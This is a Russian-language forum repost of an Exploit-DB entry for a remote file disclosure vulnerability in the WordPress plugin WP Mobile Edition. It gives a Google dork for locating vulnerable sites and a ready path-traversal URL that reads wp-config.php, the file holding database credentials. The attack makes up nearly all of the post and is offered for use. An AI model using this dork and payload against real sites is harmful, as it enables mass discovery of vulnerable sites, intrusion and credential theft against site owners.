Exploit WordPress Plugin WP Mobile Edition 2.7 - Remote File Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
36733
Проверка EDB
  1. Пройдено
Автор
KHWANCHAI KAEWYOS
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
null
Дата публикации
2015-04-13
WordPress Plugin WP Mobile Edition 2.7 - Remote File Disclosure
Код:
# Exploit Title: Wordpress Plugin 'WP Mobile Edition' Remote File Disclosure Vulnerability
# Date: April 11, 2015
# Exploit Author: @LookHin (Khwanchai Kaewyos)
# Google Dork: inurl:?fdx_switcher=mobile
# Vendor Homepage: https://wordpress.org/plugins/wp-mobile-edition/
# Software Link: https://downloads.wordpress.org/plugin/wp-mobile-edition.2.2.7.zip
# Version:  WP Mobile Edition Version 2.2.7

- Overview:
Wordpress Plugin 'WP Mobile Edition' is not filtering data in GET parameter 'files' in file 'themes/mTheme-Unus/css/css.php'

- Search on Google
inurl:?fdx_switcher=mobile

- POC
Exploit view source code wp-config.php
http://[server]/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php
 
Источник
www.exploit-db.com

Похожие темы